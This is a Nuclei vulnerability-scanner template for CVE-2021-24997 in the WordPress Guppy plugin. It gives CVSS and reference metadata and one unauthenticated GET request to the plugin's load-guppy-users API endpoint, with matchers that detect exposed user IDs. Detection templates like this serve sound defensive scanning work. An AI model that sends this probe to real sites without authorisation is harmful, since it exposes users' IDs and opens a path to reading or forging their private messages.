nuclei-templates/http/cves/2021/CVE-2021-24997.yaml

45 lines
1.5 KiB
YAML

id: CVE-2021-24997
info:
name: WordPress Guppy <=1.1 - Information Disclosure
author: Evan Rubinstein
severity: medium
description: WordPress Guppy plugin through 1.1 is susceptible to an API disclosure vulnerability. This can allow an attacker to obtain all user IDs and then use them to make API requests to get messages sent between users and/or send messages posing as one user to another.
reference:
- https://www.exploit-db.com/exploits/50540
- https://patchstack.com/database/vulnerability/wp-guppy/wordpress-wp-guppy-plugin-1-2-sensitive-information-disclosure-vulnerability
- https://wpscan.com/vulnerability/747e6c7e-a167-4d82-b6e6-9e8613f0e900
- https://nvd.nist.gov/vuln/detail/CVE-2021-24997
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2021-24997
cwe-id: CWE-862
epss-score: 0.00182
cpe: cpe:2.3:a:wp-guppy:wp_guppy:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
framework: wordpress
vendor: wp-guppy
product: wp_guppy
tags: wordpress,guppy,api,cve2021,cve,wp-plugin,edb,wpscan
http:
- method: GET
path:
- "{{BaseURL}}/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search="
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"guppyUsers":'
- '"userId":'
- '"type":'
condition: and
- type: status
status:
- 200